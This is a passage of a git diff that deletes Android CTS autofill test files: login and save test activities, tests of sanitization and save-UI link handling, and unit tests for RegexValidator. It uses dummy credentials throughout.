-            focusCell(2, 1);
-
-            // Make sure it was ignored.
-            mUiBot.assertNoDatasets();
-
-            // Make sure 1st partition is still working.
-            focusCell(1, 2);
-            mUiBot.assertDatasets("l1c2");
-            focusCell(1, 1);
-            mUiBot.assertDatasets("l1c1");
-
-            // Prepare 3rd partition.
-            final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                            .build())
-                    .build();
-            sReplier.addResponse(response3);
-            // Trigger autofill on 3rd partition.
-            focusCell(3, 2);
-
-            // Make sure it was ignored.
-            mUiBot.assertNoDatasets();
-
-            // Make sure 1st partition is still working...
-            focusCell(1, 2);
-            mUiBot.assertDatasets("l1c2");
-            focusCell(1, 1);
-            mUiBot.assertDatasets("l1c1");
-
-            //...and can be autofilled.
-            final FillExpectation expectation = mActivity.expectAutofill()
-                    .onCell(1, 1, "l1c1");
-            mUiBot.selectDataset("l1c1");
-            expectation.assertAutoFilled();
-        } finally {
-            setMaxPartitions(maxBefore);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PasswordOnlyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PasswordOnlyActivity.java
deleted file mode 100644
index 0a0d7a5..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PasswordOnlyActivity.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillId;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.TextView;
-
-public final class PasswordOnlyActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "PasswordOnlyActivity";
-
-    static final String EXTRA_USERNAME = "username";
-    static final String EXTRA_PASSWORD_AUTOFILL_ID = "password_autofill_id";
-
-    private TextView mWelcomeLabel;
-    private EditText mPasswordEditText;
-    private Button mLoginButton;
-    private String mUsername;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(getContentView());
-
-        mWelcomeLabel = findViewById(R.id.welcome);
-        mPasswordEditText = findViewById(R.id.password);
-        mLoginButton = findViewById(R.id.login);
-        mLoginButton.setOnClickListener((v) -> login());
-
-        mUsername = getIntent().getStringExtra(EXTRA_USERNAME);
-        final String welcomeMsg = "Welcome to the jungle, " + mUsername;
-        Log.v(TAG, welcomeMsg);
-        mWelcomeLabel.setText(welcomeMsg);
-        final AutofillId id = getIntent().getParcelableExtra(EXTRA_PASSWORD_AUTOFILL_ID);
-        if (id != null) {
-            Log.v(TAG, "Setting autofill id to " + id);
-            mPasswordEditText.setAutofillId(id);
-        }
-    }
-
-    protected int getContentView() {
-        return R.layout.password_only_activity;
-    }
-
-    public void focusOnPassword() {
-        syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
-    }
-
-    void setPassword(String password) {
-        syncRunOnUiThread(() -> mPasswordEditText.setText(password));
-    }
-
-    void login() {
-        final String password = mPasswordEditText.getText().toString();
-        Log.i(TAG, "Login as " + mUsername + "/" + password);
-        finish();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivity.java
deleted file mode 100644
index 0c3a451..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * Same as {@link LoginActivity}, but with {@code username} and {@code password} fields pre-filled.
- */
-public class PreFilledLoginActivity extends LoginActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.pre_filled_login_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
deleted file mode 100644
index 06191a5..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextFromResources;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertTextOnly;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-
-import org.junit.Test;
-
-/**
- * Covers scenarios where the behavior is different because some fields were pre-filled.
- */
-@AppModeFull(reason = "LoginActivityTest is enough")
-public class PreFilledLoginActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<PreFilledLoginActivity> {
-
-    private PreFilledLoginActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<PreFilledLoginActivity> getActivityRule() {
-        return new AutofillActivityTestRule<PreFilledLoginActivity>(PreFilledLoginActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testSanitization() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Change view contents.
-        mActivity.onUsernameLabel((v) -> v.setText("DA USER"));
-        mActivity.onPasswordLabel((v) -> v.setText(R.string.new_password_label));
-
-        // Trigger auto-fill.
-        mActivity.onUsername((v) -> v.requestFocus());
-
-        // Assert sanitization on fill request:
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // ...dynamic text should be sanitized.
-        assertTextIsSanitized(fillRequest.structure, ID_USERNAME_LABEL);
-
-        // ...password label should be ok because it was set from other resource id
-        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
-                "new_password_label");
-
-        // ...username and password should be ok because they were set in the SML
-        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_USERNAME),
-                "secret_agent");
-        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_PASSWORD), "T0p S3cr3t");
-
-        // Trigger save
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        mActivity.tapLogin();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Assert sanitization on save: everything should be available!
-        assertTextOnly(findNodeByResourceId(saveRequest.structure, ID_USERNAME_LABEL), "DA USER");
-        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
-                "new_password_label");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_USERNAME), "malkovich");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "malkovich");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
deleted file mode 100644
index 0e14bc5..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.TextView;
-
-/**
- * A simple activity that upon submission launches {@link SimpleSaveActivity}.
- */
-public class PreSimpleSaveActivity extends AbstractAutoFillActivity {
-
-    static final String ID_PRE_LABEL = "preLabel";
-    static final String ID_PRE_INPUT = "preInput";
-
-    private static PreSimpleSaveActivity sInstance;
-
-    TextView mPreLabel;
-    EditText mPreInput;
-    Button mSubmit;
-
-    public static PreSimpleSaveActivity getInstance() {
-        return sInstance;
-    }
-
-    public PreSimpleSaveActivity() {
-        sInstance = this;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.pre_simple_save_activity);
-
-        mPreLabel = findViewById(R.id.preLabel);
-        mPreInput = findViewById(R.id.preInput);
-        mSubmit = findViewById(R.id.submit);
-
-        mSubmit.setOnClickListener((v) -> {
-            finish();
-            startActivity(new Intent(this, SimpleSaveActivity.class));
-        });
-    }
-
-    public FillExpectation expectAutoFill(String input) {
-        final FillExpectation expectation = new FillExpectation(input);
-        mPreInput.addTextChangedListener(expectation.mInputWatcher);
-        return expectation;
-    }
-
-    public EditText getPreInput() {
-        return mPreInput;
-    }
-
-    public final class FillExpectation {
-        private final OneTimeTextWatcher mInputWatcher;
-
-        private FillExpectation(String input) {
-            mInputWatcher = new OneTimeTextWatcher("input", mPreInput, input);
-        }
-
-        public void assertAutoFilled() throws Exception {
-            mInputWatcher.assertAutoFilled();
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
deleted file mode 100644
index 2b368bb..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
+++ /dev/null
@@ -1,390 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
-import static android.autofillservice.cts.PreSimpleSaveActivity.ID_PRE_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.Validator;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import java.util.regex.Pattern;
-
-public class PreSimpleSaveActivityTest
-        extends CustomDescriptionWithLinkTestCase<PreSimpleSaveActivity> {
-
-    private static final AutofillActivityTestRule<PreSimpleSaveActivity> sActivityRule =
-            new AutofillActivityTestRule<PreSimpleSaveActivity>(PreSimpleSaveActivity.class, false);
-
-    public PreSimpleSaveActivityTest() {
-        super(PreSimpleSaveActivity.class);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<PreSimpleSaveActivity> getActivityRule() {
-        return sActivityRule;
-    }
-
-    @Override
-    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Tap the link.
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // .. then do something to return to previous activity...
-        switch (type) {
-            case ROTATE_THEN_TAP_BACK_BUTTON:
-                mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
-                WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-                // not breaking on purpose
-            case TAP_BACK_BUTTON:
-                mUiBot.pressBack();
-                break;
-            case FINISH_ACTIVITY:
-                // ..then finishes it.
-                WelcomeActivity.finishIt();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-
-        // ... and tap save.
-        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-        mUiBot.saveForAutofill(newSaveUi, true);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT), "108");
-    }
-
-    @Override
-    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
-            boolean manualRequest) throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Tap the link.
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Tap back to restore the Save UI...
-        mUiBot.pressBack();
-
-        // ...but don't tap it...
-        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...instead, do something to dismiss it:
-        switch (action) {
-            case TOUCH_OUTSIDE:
-                mUiBot.assertShownByRelativeId(ID_LABEL).longClick();
-                break;
-            case TAP_NO_ON_SAVE_UI:
-                mUiBot.saveForAutofill(saveUi2, false);
-                break;
-            case TAP_YES_ON_SAVE_UI:
-                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT),
-                        "108");
-                break;
-            default:
-                throw new IllegalArgumentException("invalid action: " + action);
-        }
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Make sure previous session was finished.
-
-        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
-        if (manualRequest) {
-            newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
-        } else {
-            newActivty.syncRunOnUiThread(() -> newActivty.mPassword.requestFocus());
-        }
-
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        newActivty.syncRunOnUiThread(() -> {
-            newActivty.mInput.setText("42");
-            newActivty.mCommit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
-    }
-
-    @Override
-    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Tap the link.
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-        tapSaveUiLink(saveUi);
-
-        // Make sure linked activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        switch (type) {
-            case LAUNCH_PREVIOUS_ACTIVITY:
-                startActivityOnNewTask(PreSimpleSaveActivity.class);
-                mUiBot.assertShownByRelativeId(ID_INPUT);
-                break;
-            case LAUNCH_NEW_ACTIVITY:
-                // Launch a 3rd activity...
-                startActivityOnNewTask(LoginActivity.class);
-                mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
-                // ...then go back
-                mUiBot.pressBack();
-                mUiBot.assertShownByRelativeId(ID_INPUT);
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Override
-    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
-            throws Exception {
-        // Prepare activity.
-        startActivity(false);
-        mActivity.mPreInput.getRootView()
-                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder.setCustomDescription(
-                        newCustomDescription(TrampolineWelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.getAutofillManager().requestAutofill(mActivity.mPreInput);
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-
-        // Save UI should be showing as well, since Trampoline finished.
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Go back and make sure it's showing the right activity.
-        // first BACK cancels save dialog
-        mUiBot.pressBack();
-        // second BACK cancel WelcomeActivity
-        mUiBot.pressBack();
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
-        newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
-
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        newActivty.syncRunOnUiThread(() -> {
-            newActivty.mInput.setText("42");
-            newActivty.mCommit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
-
-        // ... and assert results
-        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
-    }
-
-    @Override
-    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final CustomDescription.Builder customDescription =
-                            newCustomDescriptionBuilder(WelcomeActivity.class);
-                    final RemoteViews update = newTemplate();
-                    if (updateLinkView) {
-                        update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
-                    } else {
-                        update.setCharSequence(R.id.static_text, "setText", "ME!");
-                    }
-                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_PRE_INPUT);
-                    final Validator validCondition = new RegexValidator(id, Pattern.compile(".*"));
-                    customDescription.batchUpdate(validCondition,
-                            new BatchUpdates.Builder().updateTemplate(update).build());
-                    builder.setCustomDescription(customDescription.build());
-                })
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Tap the link.
-        final UiObject2 saveUi;
-        if (updateLinkView) {
-            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD, "TAP ME IF YOU CAN");
-        } else {
-            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
-            assertThat(changed.getText()).isEqualTo("ME!");
-        }
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
deleted file mode 100644
index 7802c56..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class RegexValidatorTest {
-
-    @Test
-    public void allNullConstructor() {
-        assertThrows(NullPointerException.class, () -> new RegexValidator(null, null));
-    }
-
-    @Test
-    public void nullRegexConstructor() {
-        assertThrows(NullPointerException.class,
-                () -> new RegexValidator(new AutofillId(1), null));
-    }
-
-    @Test
-    public void nullAutofillIdConstructor() {
-        assertThrows(NullPointerException.class,
-                () -> new RegexValidator(null, Pattern.compile(".")));
-    }
-
-    @Test
-    public void unknownField() {
-        AutofillId unknownId = new AutofillId(42);
-
-        RegexValidator validator = new RegexValidator(unknownId, Pattern.compile(".*"));
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(unknownId)).thenReturn(null);
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-
-    @Test
-    public void singleFieldValid() {
-        AutofillId creditCardFieldId = new AutofillId(1);
-        RegexValidator validator = new RegexValidator(creditCardFieldId,
-                Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"));
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
-        assertThat(validator.isValid(finder)).isTrue();
-
-        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("invalid");
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-
-    @Test
-    public void singleFieldInvalid() {
-        AutofillId id = new AutofillId(1);
-        RegexValidator validator = new RegexValidator(id, Pattern.compile("\\d*"));
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("123a456");
-
-        // Regex has to match the whole value
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
deleted file mode 100644
index 43ce97a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
+++ /dev/null
@@ -1,149 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.service.autofill.SaveInfo.FLAG_DELAY_SAVE;
-import static android.service.autofill.SaveInfo.FLAG_DONT_SAVE_ON_FINISH;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
